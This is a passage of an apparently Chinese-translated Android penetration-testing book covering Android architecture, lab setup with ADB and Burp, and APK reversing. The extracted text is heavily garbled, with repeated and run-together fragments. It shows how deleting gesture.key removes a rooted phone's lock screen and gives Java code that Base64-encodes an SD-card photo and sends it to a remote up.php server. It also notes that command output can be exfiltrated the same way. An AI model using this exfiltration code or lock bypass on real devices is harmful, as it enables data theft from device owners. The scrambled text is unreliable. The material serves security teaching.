




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
33Android滲透測試學(xué)習(xí)手冊22目錄Android滲透測試學(xué)習(xí)手冊中文版1.1第一章Android安全入門1.2第二章準(zhǔn)備實(shí)驗(yàn)環(huán)境1.3第三章Android應(yīng)用的逆向和審計(jì)1.4Android設(shè)備進(jìn)行流量分析1.5第五章Android取證1.6第六章玩轉(zhuǎn)SQLite1.7第七章不太知名的Android漏洞1.8第八章ARM利用1.9第九章編寫滲透測試報(bào)告1.10AndroidAndroid安全入門PAGE10PAGE10第一章Android安全入門 作者:AdityaGupta譯者:飛龍協(xié)議:CCBY-NC-SA4.0AndroidAndroid應(yīng)用程序安全性和滲透測試的各個方面。本章的目標(biāo)是為Android安全打下基礎(chǔ),以便在以后的章節(jié)中使用。Android簡介Android被谷歌收購(2005年),9年里,尤其是LGHTCAndroid的后續(xù)版本中引入了許多新概GoogleBouncerGoogleAppAndroidLinuxLinux內(nèi)核還必須與所有硬件Android中存在的大多數(shù)安全功AndroidLinuxAndroid移植到其他平臺和架AndroidAndroid平臺棧和他們想要移植的硬件之間創(chuàng)建軟件鉤子。在Linux內(nèi)核之上是一個層級,包含一些最重要和有用的庫,如下所示:SurfaceManagerSQLiteSQLWebKit:這是瀏覽器渲OpenGL2D3D內(nèi)容以下是來自Android開發(fā)人員網(wǎng)站的Android架構(gòu)的圖形表示:Android中的庫是用C和C++編寫的,其中大多數(shù)是從Linux移植的。與Linux相比,libcAndroid中的一個主要區(qū)別是,在這里沒有 庫,它用于Linux中的大多數(shù)任務(wù)。相反,libcbionicAndroid有自己的稱為的libc版本。bionic
的庫,我們可以認(rèn)為它是一個剝離和修改后的,用于AndroidAndroidDalvikDalvik虛擬機(jī)的很多內(nèi)容。在這個層之上,有應(yīng)用程序框架層,它支持應(yīng)用程序執(zhí)行不同類型的任務(wù)。此外,開發(fā)人員創(chuàng)建的大多數(shù)應(yīng)用程序只與第一層和最頂層的應(yīng)用程序交互。該架構(gòu)以一種方式設(shè)計(jì),在每個時間點(diǎn),底層都支持上面的層級。早期版本的Android(<4.0)基于Linux內(nèi)核2.6.x,而較新版本基于內(nèi)核3.x.不同的Android版本和他們使用的Linux內(nèi)核的列表規(guī)定如下:AndroidDalvik虛擬機(jī)(DVM)Android4.4Android運(yùn)行時(ART),DVMART運(yùn)行時環(huán)境之間自由切換。DalvikJava虛擬機(jī)(JVM),除DVM的主要焦點(diǎn)是與性能相關(guān),而不是與安全性相關(guān)。.dexDalvik虛擬機(jī)執(zhí)行一個名為 或Dalvik可執(zhí)行文件的文件格式。我們將進(jìn)一步查.dex.dex看 文件格式,并將在下面的章節(jié)中進(jìn)行分析?,F(xiàn)在讓我們繼續(xù)與adb進(jìn)行交互,并更.dex深入地分析Android設(shè)備及其體系結(jié)構(gòu)。Android如果你有Android設(shè)備或正在運(yùn)行Android模擬器,則可以使用AndroidSDK本身提供的工具(adb)adbSDK,我們已經(jīng)準(zhǔn)備好了。USBadbUSB調(diào)試功能。$adbdevices$adbdevicesListofdevicesattachedemulator-5554 device提示下載示例代碼你可以從 下載你從帳戶中購買的所有Packt/support/support
并注冊現(xiàn)在,如我們之前所見,AndroidLinuxLinuxAndroid上adbshelladbshellshell直接交互,你可以在其中shell,只需要鍵入以下命令:adbshell.adbshell.ps一旦我們在shell中,我們可以運(yùn)行 為了列出正在運(yùn)行的進(jìn)程:psps如你所見, 將列出當(dāng)前在Android系統(tǒng)中運(yùn)行的所有進(jìn)程。如果仔細(xì)看,第一列制定了psrootradioapp_root用戶名。在這里我們可以看到各種用戶名,如system, , 和一系列以 開rootradioapp_rootsystemsystem
名稱運(yùn)行的進(jìn)程由系統(tǒng)擁有,
作為根radio進(jìn)程運(yùn)行,radio
是與電話和無線電相關(guān)的進(jìn)程,
進(jìn)程是用戶已下載的所有應(yīng)用程序,app_LinuxAndroid中,用戶標(biāo)識了在自己的環(huán)境中運(yùn)行的應(yīng)用/進(jìn)程。app_所以,AndroidLinuxAndroid設(shè)備中啟動新應(yīng)用程序ID(UID),ID將之后會屬于某些其他預(yù)定義組。/system/bin與Linux類似,用作命令的所有二進(jìn)制文件都位于/system/bin/data/dataPlay商店或任何其他來源安裝的應(yīng)用程序數(shù)據(jù)將位于/data/data
和 。此外,我/system/xbin,而其原始安裝文件/system/xbin.apk/data/app(即 )將存儲在 。此外,還有一些應(yīng)用程序需要從Play商店購買,而不是.apk/data/app/data/app-private/只是免費(fèi)下載。這些應(yīng)用程序?qū)⒋鎯υ?。/data/app-private/Android安裝包(APK)是Android應(yīng)用程序的默認(rèn)擴(kuò)展名,它只是一個歸檔文件,包含應(yīng)用.apk程序的所有必需文件和文件夾。我們在后面的章節(jié)中將繼續(xù)對 文件進(jìn)行逆向工程。.apk/data/data現(xiàn)在,讓我們訪問 ,看看里面有什么。這里需要注意的一點(diǎn)是,為了在真實(shí)設(shè)備/data/datasu上實(shí)現(xiàn),設(shè)備需要root并且必須處于 模式:su#cd/data/data#ls#cd/data/data#lscom.aditya.facebookappcom.aditya.spinnermenucom.aditya.zeropermissioncom.afe.socketappcom.android.backupconfirmcom.android.browsercom.android.calculator2com.android.calendarcom.android.cameracom.android.certinstallercom.android.classiccom.android.contactscom.android.customlocale2com.aditya.facebookapp所以,我們可以在這里看到,例如, ,是單獨(dú)的應(yīng)用程序文件夾。com.aditya.facebookapp現(xiàn)在,你可能會想知道為什么它是用點(diǎn)分隔的單詞風(fēng)格,而不是常見的文件夾名稱,F(xiàn)acebookAppCameraApp如 或 。因此,這些文件夾名稱指定各個應(yīng)用程序的軟件包名稱。軟FacebookAppCameraAppPlayfilescache如果我們進(jìn)入任何應(yīng)用程序文件夾,我們會看到不同的子文件夾,例如文件( ),數(shù)filescachedatabases據(jù)庫(databases序”中查看。
)和緩存(
),稍后我們將在第3章“逆向和審計(jì)Android應(yīng)用程shell@android:/data/data/de.trier.infsec.koch.droidsheep#lscacheshell@android:/data/data/de.trier.infsec.koch.droidsheep#lscachedatabasesfileslibshell@android:/data/data/de.trier.infsec.koch.droidsheep#root,我們可以修改文件系統(tǒng)中的任何文root修改任何我們想要的文件。最常見的安全保護(hù)之一是大多數(shù)人都想到的是模式鎖定或pin鎖,它默認(rèn)存在于所有AndroidSettings|Security|ScreenLock手機(jī)。你可以通過訪問 來配置自己的模式。Settings|Security|ScreenLock一旦我們設(shè)置了密碼或模式鎖定,我們現(xiàn)在將繼續(xù),將手機(jī)與USB連接到我們的系統(tǒng)。現(xiàn)password.keygesture.key在,密碼鎖的密鑰或模式鎖的模式數(shù)據(jù)以名稱 或 存儲password.keygesture.key/data/system在 。注意,如果設(shè)備被鎖定,并且USB調(diào)試被打開,你需要一個自定義引導(dǎo)/data/systemUSBAndroid的更多信ThomasCannonDiggingDefcon演示。因?yàn)槠平饷艽a/模式將更加艱難,并且需要暴力(我們將看到如何解密實(shí)際數(shù)據(jù)),我們將簡單地繼續(xù)并刪除該文件,這將從我們手機(jī)中刪除模式保護(hù):shell@android:/data#cd/data/systemshell@android:/data/system#rmgesture.keyshell@android:/data#cd/data/systemshell@android:/data/system#rmgesture.key所以,我們可以看到,一旦手機(jī)被root,幾乎任何東西都可以只用手機(jī)、一根USB電纜和一個系統(tǒng)來完成。我們將在本書的后續(xù)章節(jié)中更多地了解基于USB的利用。沙箱和權(quán)限模型為了理解Android沙箱,讓我們舉一個例子,如下圖:如前圖所示和前面所討論的,AndroidDalvik虛擬機(jī)實(shí)例中行,因此除非內(nèi)容提供者另有規(guī)定,否則將無法訪問其他應(yīng)用程序的數(shù)據(jù)。Android使用細(xì)粒度的權(quán)限模型,這需要應(yīng)用程序在編譯最終應(yīng)用程序包之前預(yù)定義權(quán)限。Play個權(quán)限屏幕,它類似于以下屏幕截圖:此權(quán)限屏幕顯示應(yīng)用程序可以通過手機(jī)執(zhí)行的所有任務(wù)的列表,例如發(fā)送短信,訪問互聯(lián)網(wǎng)和訪問攝像頭。請求多于所需的權(quán)限使應(yīng)用程序成為惡意軟件作者的更具吸引力的目標(biāo)。AndroidManifest.xmlAndroid應(yīng)用程序開發(fā)人員必須在開發(fā)應(yīng)用程序時在名為 的文件中指定AndroidManifest.xml所有這些權(quán)限。此文件包含各種應(yīng)用程序相關(guān)信息的列表,例如運(yùn)行程序所需的最低Android版本,程序包名稱,活動列表(應(yīng)用程序可見的應(yīng)用程序中的界面),服務(wù)(應(yīng)用程AndroidManifest.xml序的后臺進(jìn)程),和權(quán)限。如果應(yīng)用程序開發(fā)人員未能在 文件中指定AndroidManifest.xml權(quán)限,并仍在應(yīng)用程序中使用它,則應(yīng)用程序?qū)⒈罎?,并在用戶運(yùn)行它時顯示強(qiáng)制關(guān)閉消息。AndroidManifest.xml<uses-permission>一個正常的用AndroidManifest.xml<uses-permission>
文件看起來像下面的截圖所示。在這里,你可以使標(biāo)記和其他標(biāo)記查看所需的不同權(quán)限:AndroidUIDinetUIDInternet權(quán)inetinet限的應(yīng)用程序?qū)儆趇net
AndroidInternet權(quán)限位于
組下。用戶(在這種情況下的應(yīng)用程序)可以屬于多個組,具體取決于他們請求的權(quán)限?;蛘邠Q句話說,每個用戶可以屬于多個組,并且每個組可以具有多個用戶。這些組具有由組ID(GID)定義的唯一名稱。然而,開發(fā)人員可以明確地指定其他應(yīng)用程序在與第一個相同platform.xml的UID下運(yùn)行。在我們的設(shè)備中,其中的組和權(quán)限在文件 中指定,它位platform.xml/system/etc/permissions/于 :/system/etc/permissions/shell@grouper:/system/etc/permissions$catplatform.xmlshell@grouper:/system/etc/permissions$catplatform.xml<permissions>...<!--==================================================================--><!--Thefollowingtagsareassociatinglow-levelgroupIDswithpermissionnames.Byspecifyingsuchamapping,youaresayingthatanyapplicationprocessgrantedthegivenpermissionwillalsoberunningwiththegivengroupIDattachedtoitsprocess,soitcanperformanyfilesystem(read,write,execute)operationsallowedforthatgroup.--><permissionname="android.permission.BLUETOOTH"><groupgid="net_bt"/></permission><permissionname="android.permission.INTERNET"><groupgid="inet"/></permission><permissionname="android.permission.CAMERA"><groupgid="camera"/></permission>...[Someofthedatahasbeenstrippedfromhereinordertoshortentheoutputandmakeitreadable]</permissions>AndroidDalvik虛擬機(jī)下運(yùn)行,因此它不會以任何方式影響整體安全模型。現(xiàn)在,就像我們在前面部分看到的,應(yīng)用程序?qū)⑵鋽?shù)據(jù)存儲location/data/data/[packagename]在 ?,F(xiàn)在,存儲應(yīng)用程序數(shù)據(jù)的所有文件夾也具有相同location/data/data/[packagename]IDAndroidUID和文件權(quán)限,它將限制來自具有不同UID的其他應(yīng)用程序?qū)λ脑L問和修改。在下面的代碼示例中,用瀏覽器調(diào)用來上傳到象之間進(jìn)行通信。
Base64SD卡中的圖像,現(xiàn)在正在使Android我們將首先創(chuàng)建一個對象來存儲圖像,在Base64中編碼,最后將其存儲在一個字符串imageString中 :imageStringfinalfinalFilefile=newFile("/mnt/sdcard/profile.jpg");Uriuri=Uri.fromFile(file);ContentResolvercr=getContentResolver();BitmapbMap=null;try{InputStreamis=cr.openInputStream(uri);bMap=BitmapFactory.decodeStream(is);if(is!=null){is.close();}}catch(Exceptione){Log.e("Errorreadingfile",e.toString());}ByteArrayOutputStreambaos=newByteArrayOutputStream();bMpress(Bitmap.CompressFormat.JPEG,100,baos);byte[]b=baos.toByteArray();StringimageString=Base64.encodeToString(b,Base64.DEFAULT);.php最后,我們將啟動瀏覽器將數(shù)據(jù)發(fā)送到我們的服務(wù)器,我們有一個據(jù):.php
文件偵聽傳入的數(shù)startActivity(startActivity(newIntent(Intent.ACTION_VIEW,Uri.parse("/up.php?u="+imageString)));我們還可以執(zhí)行命令并以相同的方式將輸出發(fā)送到遠(yuǎn)程服務(wù)器。但是,這里需要注意的一點(diǎn)是shell應(yīng)該在應(yīng)用程序的用戶下運(yùn)行://Toexecutecommands://Toexecutecommands:Stringstr="cat/proc/version";//commandtobeexecutedisstoredincess=Runtime.getRuntime().exec(str);這是一個有趣的現(xiàn)象,因?yàn)楣粽呖梢垣@得一個反向shell(這是一個從設(shè)備到系統(tǒng)的雙向連接,可以用于執(zhí)行命令),而不需要任何類型的權(quán)限。應(yīng)用簽名Android的獨(dú)特特性之一,由于其開放性和開發(fā)人員社區(qū),它取得了成功。PlayAndroidAndroidSDK創(chuàng)建AndroidPlay(CA),而開發(fā)人員可以創(chuàng)建自己的證書并為應(yīng)用程序簽名。AppleiOSCAAppStore的每個應(yīng)AppleAppleCA簽名,然后才允許應(yīng)用程序運(yùn)行。Android;GoogleBouncer進(jìn)行驗(yàn)證,這是一個虛擬環(huán)境,用于檢PlayAndroidSDK附帶的工具(稱keytool為 )創(chuàng)建自己的證書,或者使用Eclipse的GUI創(chuàng)建證書。keytool因此,在Android中,一旦開發(fā)人員使用他創(chuàng)建的證書簽名了應(yīng)用程序,他需要將證書的密鑰保存在安全的位置,以防止其他人竊取他的密鑰并使用開發(fā)人員的證書簽署其他應(yīng)用程序。.apk如果我們有一個Android應(yīng)用程序( )文件,我們可以檢查應(yīng)用程序的簽名,并找到使.apkjarsigner用稱為 的工具簽署應(yīng)用程序的人,這個工具是AndroidSDK自帶的:jarsigner$jarsigner-verify-certs-verbosetesting.apk$jarsigner-verify-certs-verbosetesting.apk以下是在應(yīng)用程序上運(yùn)行上述命令并獲取簽名的信息的屏幕截圖:.apk此外,解壓縮.apk
文件后,可以解析
文件夾中出現(xiàn)的
文件的ASCII內(nèi)META-INFCERT.RSA容,以獲取簽名,如以下命令所示:META-INFCERT.RSA$unziptesting.apk$unziptesting.apk$cdMETA-INF$opensslpkcs7-inCERT.RSA-print_certs-informDER-outout.cer$catout.cer.apk這在檢測和分析未知的Android.apk以及其他詳細(xì)信息。Android
示例時非常有用。因此,我們可以使用它獲得簽署人在Android中考慮安全性時最重要的事情之一是Android啟動過程。整個引導(dǎo)過程從引導(dǎo)加init載程序開始,它會反過來啟動 過程-第一個用戶級進(jìn)程。init所以,任何引導(dǎo)加載程序的變化,或者如果我們加載另一個,而不是默認(rèn)存在的引導(dǎo)加載程ROM刷到Android情況下,它也可能使設(shè)備的保修失效。注fastboot在Nexus7中,它就像使用命令行中的 工具一樣簡單,如下所示:fastboot$fastbootoemunlock$fastbootoemunlockBootloader并在本書的后續(xù)章節(jié)中使用它。init/procinit回到啟動過程,在引導(dǎo)加載程序啟動內(nèi)核并啟動 之后,它掛載了Android系統(tǒng)運(yùn)行所需init/procinit/dev的一些重要目錄,例如/dev
,/sys和
從配置文init.rcinit.[device-name].rc件 和init.rcinit.[device-name].rc.sh的 文件獲取自己的配置。.sh
中獲取自己的配置,在某些情況下從位于相同位置init.rccat如果我們對init.rccat面的截圖所示:
文件執(zhí)行
,我們可以看到
加載自身時使用的所有規(guī)范,如下initinitinit進(jìn)程的責(zé)任是啟動其他必需的組件,例如負(fù)責(zé)ADB通信和卷守護(hù)程序(vold)的adbinit守護(hù)程序(adbd)。p加載時使用的一些屬性位于p
,它位于
。當(dāng)你在Android設(shè)備上location/systeminit看到Androidlogo時,就完成了 進(jìn)程的加載。正如我們在下面的截圖中可以看到的,location/p我們通過檢查 文件來獲取設(shè)備的具體信息:pinit一旦所有的東西被加載, 最后會加載一個稱為Zygote的進(jìn)程,負(fù)責(zé)以最小空間加載initDalvik虛擬機(jī)和共享庫,來加快整個進(jìn)程的加載速度。此外,它繼續(xù)監(jiān)聽對自己的新調(diào)用,以便在必要時啟動更多DVM。這是當(dāng)你在設(shè)備上看到Android開機(jī)動畫時的情況。一旦完全啟動,Zygote派生自己并啟動系統(tǒng),加載其他必要的Android組件,如活動管理BOOT_COMPLETED器。一旦完成整個引導(dǎo)過程,系統(tǒng)發(fā)送 的廣播,許多應(yīng)用程序可能使用稱為BOOT_COMPLETEDAndroid3章“Android應(yīng)用程序”中分析惡意軟件和應(yīng)用程序時,我們將進(jìn)一步了解廣播接收器??偨Y(jié)AndroidAndroid的內(nèi)部結(jié)構(gòu)及其安全體系結(jié)構(gòu)。Android滲透測試實(shí)驗(yàn)室,并使用這些知識執(zhí)行更多的AndroidADB的更多信息,并使用它來收集和分析設(shè)備中的信息。PAGE26PAGE26第二章準(zhǔn)備實(shí)驗(yàn)環(huán)境作者:AdityaGupta譯者:飛龍協(xié)議:CCBY-NC-SA4.0AndroidAndroidAndroidSDKEclipseADBAndroid虛擬設(shè)備。建立開發(fā)環(huán)境AndroidAndroid虛擬設(shè)備,我們需要配置開發(fā)環(huán)境,以便運(yùn)行這Java開發(fā)工具包(JDK),其中包括Java運(yùn)行時環(huán)境(JRE):/technetwork/java/javase/downloads/index.htmlJDK/technetwork/java/javase/downloads/index.html在的平臺下載JDK7。
,并根據(jù)我們所就像下載它并運(yùn)行下載的可執(zhí)行文件一樣簡單。在以下屏幕截圖中,你可以看到我的系統(tǒng)上安裝了Java:JDKJava。MyComputer對于Windows用戶,我們需要右鍵單擊 (我的電腦)圖標(biāo),然后選MyComputerProperties擇 (屬性)選項(xiàng)。PropertiesAdvancedsystemsettings選項(xiàng):Advancedsystemsettings
(高級系統(tǒng)設(shè)置)SystemProperties(系統(tǒng)屬性)對話框,在右下角,我們可以看EnvironmentVariables...到 (環(huán)境變量)選項(xiàng)。當(dāng)我們點(diǎn)擊它,我們可以看到另一個EnvironmentVariables...Systemvariables窗口,包含系統(tǒng)變量及其值,在 (系統(tǒng)變量)部分下:SystemvariablesVariablesPATH在新的彈出對話框中,我們需要單擊VariablesPATHJava安裝文件夾的路徑:
(變量)下的
文本框,并鍵入/.bash_profile對于MacOSX,我們需要編輯量。/.bash_profile./bashrcLinux機(jī)器中,我們需要編輯./bashrc
文件,并將Java的路徑追加到 變PATH文件并附加環(huán)境變量行。這里是命令:PATH$nano~/.bashrc$nano~/.bashrc$exportJAVA_HOME=`/usr/libexec/java_home-v1.6`orexportJAVA_HOME=`/usr/libexec/java_home-v1.7`你還可以通過從終端運(yùn)行以下命令來檢查Java是否已正確安裝和配置:$java--version$java--versionJava的環(huán)境變量,我們需要執(zhí)行的下一步是下/sdk/index.html載 中提供的AndroidADT/sdk/index.htmlADTAndroidADT插件,AndroidSDK工具,AndroidAndroidAndroidEclipse。AndroidSDKEclipse的整個過程,因?yàn)楝F(xiàn)在的一切都已預(yù)先配置好了。ADTEclipse文件夾。workspace啟動時,ADT包將要求我們配置Eclipse的工作區(qū)。 (工作空間)是所有workspaceAndroid應(yīng)用程序開發(fā)項(xiàng)目及其文件將被存儲的位置。在這種情況下,我已將所有內(nèi)容保Usethisasthedefaultanddonotaskmeagain留默認(rèn),并選中Usethisasthedefaultanddonotaskmeagain不再詢問我)復(fù)選框:
(使用此為默認(rèn)值,AndroidAndroid虛擬設(shè)備是配置用于特AndroidAndroidSDK軟件包一起提供的虛擬設(shè)備,通過它,開發(fā)人員可以運(yùn)行正常設(shè)備的應(yīng)用程序,并與他們在實(shí)際設(shè)備上進(jìn)行交AndroidAndroid應(yīng)用程序的開發(fā)者也很有用。注AndroidARM上,模擬的所有的事情iOS中,我們的模擬器只是模擬環(huán)境,并不擁有所有相同組件和平臺。Android虛擬設(shè)備虛擬設(shè)備,我們需要執(zhí)行以下操作:EclipseAndroidAndroidVirtualDeviceManager的 (Android虛擬設(shè)備管理器)窗口,其中包含所有虛AndroidVirtualDeviceManagerNew設(shè)備。New
(新建)按鈕,創(chuàng)建一個新的虛擬androidAndroid虛-avd[avd-name]動特定的虛擬設(shè)備。-avd[avd-name]
命令來啟這會打開一個新窗口,其中包含需要為Android虛擬設(shè)備配置的所有屬性(尚未創(chuàng)建)。我們將配置所有選項(xiàng),如下面的截圖所示:OK一旦我們點(diǎn)擊 并返回到管理器窗口,我們將看到我們新創(chuàng)建的。OKStart...現(xiàn)在,只需選擇新的然后單擊 (開始)來啟動我們創(chuàng)建的虛擬設(shè)備。Start...它可能需要很長時間,來為你的第一次使用加載,因?yàn)樗谂渲盟械挠布蛙浖渲?,來給我們真正的電話般的體驗(yàn)。Snapshot選擇。Snapshot
復(fù)選框也是一個不錯的adt-bundleandroid命令檢查設(shè)備配adt-bundle/sdk/toolstoolsplatform-tools/sdk/toolstoolsplatform-tools
文件夾下的
文件夾中。sdk我們還要設(shè)置位于sdk前使用環(huán)境變量一樣。
文件夾中的 和
文件夾的位置,就像我們之為了獲取我們系統(tǒng)中已連接(或加載)的設(shè)備的詳細(xì)配置信息,可以運(yùn)行以下命令:androidlistavdandroidlistavd我們在下面的屏幕截圖中可以看到,上面的命令的輸出顯示了我們系統(tǒng)中所有現(xiàn)有Android虛擬設(shè)備的列表:ADBAndroidDebugBridge開始使用設(shè)備,我們在上一章中emulator-avd[avdname]已經(jīng)看到。我們還可以通過在終端中執(zhí)行 命令來運(yùn)行模擬器。emulator-avd[avdname]滲透測試實(shí)用工具AndroidAndroidDebugBridge,BurpSuite。AndroidDebugBridgeAndroidDebugBridge是一個客戶端-服務(wù)器程序,允許用戶與模擬器器或連接的Android設(shè)備交互。它包括客戶端(在系統(tǒng)上運(yùn)行),處理通信的服務(wù)器(也在系統(tǒng)上運(yùn)行)以及作為后臺進(jìn)程在模擬器和設(shè)備上上運(yùn)行的守護(hù)程序??蛻舳擞糜贏DB通信的默認(rèn)端口始終是5037,設(shè)備使用從5555到5585的端口。adbdevices讓我們繼續(xù),通過運(yùn)行adbdevices
命令開始與啟動的模擬器交互。它將顯示模擬器已啟動C:\Users\adi0x90\Downloads\adt-bundle\sdk\platform-tools>adbdevicesListofdevicesattachedC:\Users\adi0x90\Downloads\adt-bundle\sdk\platform-tools>adbdevicesListofdevicesattachedemulator-5554 device在某些情況下,即使模擬器正在運(yùn)行或設(shè)備已連接,你也不會在輸出中看到設(shè)備。在這些情況下,我們需要重新啟動ADB服務(wù)器,殺死服務(wù)器,然后再次啟動它:C:\Users\adi0x90\Downloads\adt-bundle\sdk\platform-tools>adbkill-serverC:\Users\adi0x90\Downloads\adt-bundle\sdk\platform-tools>adbstart-serverC:\Users\adi0x90\Downloads\adt-bundle\sdk\platform-tools>adbkill-serverC:\Users\adi0x90\Downloads\adt-bundle\sdk\platform-tools>adbstart-serverdaemonnotrunning.startingitnowonport5037*daemonstartedsuccessfully*pm我們還可以使用用:pm
(包管理器)工具獲取所有已安裝的軟件包的列表,這可以在ADB中使adbshellpmlistpackagesadbshellpmlistpackages如下面的屏幕截圖所示,我們將獲得設(shè)備上安裝的所有軟件包的列表,這在以后的階段可能會有用:dumpsysmeminfo此外,我們可以使用存占用的列表dumpsysmeminfo
然后是
命令,獲取所有應(yīng)用程序及其當(dāng)前內(nèi)adbshelladbshelllogcat我們還可以獲取 (這是一個讀取Android設(shè)備事件日志的工具),并將其保存到特定logcat文件,而不是在終端上打印:adblogcat-d-f/data/local/logcats.logadblogcat-d-f/data/local/logcats.log-d此處的-d
標(biāo)志指定轉(zhuǎn)儲完整日志文件的并退出,
標(biāo)志指定寫入文件而不是在終端上打-f/data/local是可寫的。-f/data/localdf我們還可以使用df
位置,而不是任何其他位置,因?yàn)檫@個位置在大多數(shù)設(shè)備中命令檢查文件系統(tǒng)以及可用空間和大?。篈ndroidSDKMonkeyRunnermonkey10Android10個自動化觸摸,敲擊和事件來monkey10adbshell測試應(yīng)用程序,我們可以在adbshell
中使用
命令:root@generic:/#monkey10monkey10root@generic:/#monkey10monkey10Eventsinjected:10##Networkstats:elapsedtime=9043ms(0msmobile,0mswifi,9043msnotconnected)ADB將來使用的其他工具。BurpSuiteBurp中執(zhí)行此操作:/burp/download.html我們現(xiàn)在從官方網(wǎng)站 下載burp代理。/burp/download.htmlBurpBurp:java–jarburp-suite.jarjava–jarburp-suite.jar我們在下面的截圖中可以看到,我們運(yùn)行了Burp并顯示了默認(rèn)界面:ProxyBurpSuite項(xiàng))選項(xiàng)卡來配置代理設(shè)置。Proxy
(代理)選項(xiàng)卡并訪問 (選OptionsOptions在OptionsOptions
選項(xiàng)卡中,我們可以看到默認(rèn)選項(xiàng)被選中,這是
。這意味著:80808080Edit從我們的系統(tǒng)端口 發(fā)送的所有流量將由BurpSuite攔截并且在它的窗口顯示。:80808080Edit:8080項(xiàng)。:8080
并單擊
(編輯)來檢查隱藏的代理選RequesthandlingSupportinvisibleproxying(enableonlyifneeded)中RequesthandlingSupportinvisibleproxying(enableonlyifneeded)啟用))復(fù)選框:
(請求處理)選項(xiàng)卡,并選(支持不可見代理(僅在需要時invisible最后,我們使用 選項(xiàng)運(yùn)行代理:invisiblehttp-proxy擬器命令來使用 選項(xiàng):http-proxyemulator-avd[nameoftheavd]-http-proxy:8080emulator-avd[nameoftheavd]-http-proxy:8080我們可以在下面的截圖中看到命令如何使用:BurpBurpSSL的網(wǎng)站時可能會遇到問題,我們將在后面的章節(jié)中涉及這些問題。APKToolAndroidAndroid/p/android-apktool/downloads/list問/p/android-apktool/downloads/listapktool1.5.3.tar.bz2在這里,我們需要下載兩個文件:apktool1.5.3.tar.bz2
。,其中包含apktool主二進(jìn)制文件,另一個文件取決于平臺-無論是Windows,MacOSX還是Linux。/usr/bin/usr/bin
中。然后我們可總結(jié)AndroidBurpSuiteAndroid滲透測試Android滲透測試者應(yīng)該熟悉的最重要的工具。在下一章中,我們將學(xué)習(xí)如何逆向和審計(jì)Android應(yīng)用程序。我們還將使用一些工具,如APKTool,dex2jar,jd-gui和一些我們自己的命令行必殺技。AndroidAndroid應(yīng)用的逆向和審計(jì)PAGE37PAGE37第三章Android應(yīng)用的逆向和審計(jì) 作者:AdityaGupta譯者:飛龍協(xié)議:CCBY-NC-SA4.0.apkAndroid應(yīng)用程序或.apk
文件,并了解其不同的組件。我們還將使用工具(Apktool,dex2jarjd-gui)Android本來查找漏洞并利用它們。Android應(yīng)用程序拆解Android應(yīng)用程序是在開發(fā)應(yīng)用程序時創(chuàng)建的數(shù)據(jù)和資源文件的歸檔文件。Android應(yīng)用程序.apk的擴(kuò)展名是.apk
,意思是應(yīng)用程序包,在大多數(shù)情況下包括以下文件和文件夾:Classes.dex(文件)Classes.dexAndroidManifest.xml(文件)AndroidManifest.xmlMETA-INF(文件夾)META-INFresources.arsc(文件)resources.arscres(文件夾)resassets(文件夾)assetslib(文件夾)lib為了驗(yàn)證這一點(diǎn),我們可以使用任何歸檔管理器應(yīng)用程序(如7zip,WinRAR或任何首選應(yīng)unzip用程序)LinuxMac上,我們可以簡單地使用示壓縮包的內(nèi)容,如下面的截圖所示:unzip
命令來展-l這里,我們使用 (list)標(biāo)志,以便簡單地展示壓縮包的內(nèi)容,而不是解壓它。我們還可-lfile以使用 命令來查看它是否是一個有效的壓縮包。fileAndroid組件:活動(Activity):這些是用戶可以與之交互的可視界面。這些可以包括按鈕,圖TextView像, 或任何其他可視組件。TextView服務(wù)(Service):這些Android組件在后臺運(yùn)行,并執(zhí)行開發(fā)人員指定的特定任務(wù)。這些任務(wù)可以包括從HTTP下載文件到在后臺播放音樂的任何內(nèi)容。廣播接收器(BroadcastReceiver):這些是Android應(yīng)用程序中的接收器,通過Android系統(tǒng)或設(shè)備中存在的其他應(yīng)用程序,監(jiān)聽傳入的廣播消息。一旦它們接收到廣播消息,就可以根據(jù)預(yù)定義的條件觸發(fā)特定動作。條件可以為收到SMS,來電呼叫,電量改變等等。共享首選項(xiàng)(SharedPreference):應(yīng)用程序使用這些首選項(xiàng),以便為應(yīng)用程序保存小shared_prefs型數(shù)據(jù)集。此數(shù)據(jù)存儲在名為 的文件夾中。這些小數(shù)據(jù)集可以包括名值shared_prefs對,例如游戲中的用戶得分和登錄憑證。不建議在共享首選項(xiàng)中存儲敏感信息,因?yàn)樗鼈兛赡芤资軘?shù)據(jù)竊取和泄漏的影響。意圖(Intent):這些組件用于將兩個或多個不同的Android組件綁定在一起。意圖可以用于執(zhí)行各種任務(wù),例如啟動動作,切換活動和啟動服務(wù)。內(nèi)容供應(yīng)器(ContentProvider):這些組件用于訪問應(yīng)用程序使用的結(jié)構(gòu)化數(shù)據(jù)集。應(yīng)用程序可以使用內(nèi)容供應(yīng)器訪問和查詢自己的數(shù)據(jù)或存儲在手機(jī)中的數(shù)據(jù)?,F(xiàn)在我們知道了Android應(yīng)用程序內(nèi)部結(jié)構(gòu),以及應(yīng)用程序的組成方式,我們可以繼續(xù)逆向.apkAndroid應(yīng)用程序。當(dāng)我們只有 文件時,這是獲得可讀的源代碼和其他數(shù)據(jù)源的方式。.apkAndroid應(yīng)用正如我們前面討論的,Android應(yīng)用程序只是一個數(shù)據(jù)和資源的歸檔文件。即使這樣,我們不能簡單地解壓縮歸檔包(.apk)來獲得可讀的源代碼。對于這些情況,我們必須依賴于將classes.dex字節(jié)代碼(如在 中)轉(zhuǎn)換為可讀源代碼的工具。classes.dex.dex將字節(jié)碼轉(zhuǎn)換為可讀文件的一種方法,是使用一個名為dex2jar的工具。 文件是由.dex.jarJavaDalvik.jar.dexAndroid應(yīng)用程序中存在的.dex
文件轉(zhuǎn)換為相應(yīng)的
文件。請遵循以下步驟:/p/dex2jar/從 下載dex2jar工具。/p/dex2jar/.dex現(xiàn)在我們可以使用它來運(yùn)行我們的應(yīng)用程序的.dex
文件,并轉(zhuǎn)換為
格式。.jard2j-dex2jar.shdex2jar.jard2j-dex2jar.shd2j-dex2jar.bat需要運(yùn)行d2j-dex2jar.bat
文件(Windows上)或
文件(在Linux/classes.dexMac上),并提供應(yīng)用程序名稱和路徑作為參數(shù)。這里的參數(shù)中,我們可以簡單地使classes.dex.apk.apk用 文件,或者我們甚至可以解壓.apk.apk
文件,然后傳遞
